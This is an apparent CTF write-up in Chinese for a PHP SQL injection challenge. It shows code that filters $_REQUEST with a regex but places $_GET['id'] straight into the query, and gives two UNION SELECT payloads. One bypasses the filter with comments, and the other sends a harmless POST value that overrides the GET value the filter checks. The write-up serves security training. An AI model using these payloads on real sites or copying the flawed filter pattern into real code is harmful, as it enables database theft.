[go: nahoru, domu]

Skip to content

Latest commit

 

History

History
43 lines (35 loc) · 1.66 KB

challenge-50.md

File metadata and controls

43 lines (35 loc) · 1.66 KB

Challenge

<?php
if(isset($_REQUEST['id'])){
	if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
		die("Attack detected!!!");
	}
}

$sql = "select * from xxx where id = '{$_GET['id']}'";
echo $sql;
$result = sql_query($_GET['id']);
?>

Solution

法一

正面刚正则匹配。 payload:

http://localhost:2500/?id=1'/*1*/union slect * from flag %23

法二

$_REQUEST变量默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。在 php.ini 配置文件中,有一个参数variables_order

其中几个字母(EGPCS)对应如下: Environment, Get, Post, Cookie, Server。这些字母的出现顺序,表明了数据的加载顺序。从三种默认配置来看,相对顺序均是GP,也就是说只要有POST参数进来,那么它就会覆盖同名的GET参数。如下图;

所以就本题而言,如果在GET参数id处注入数据(比如 union select),而同时我们又通过POST方法传入一个id参数,那么服务器检测的是无害的POST数据,而在进行查询时带入的是有害的GET数据。

payload:

http://localhost:2500/?id=1' union select * from flag %23

POST: id=1

Refference

  • SEC-T CTF 2017 Naughty ads - Web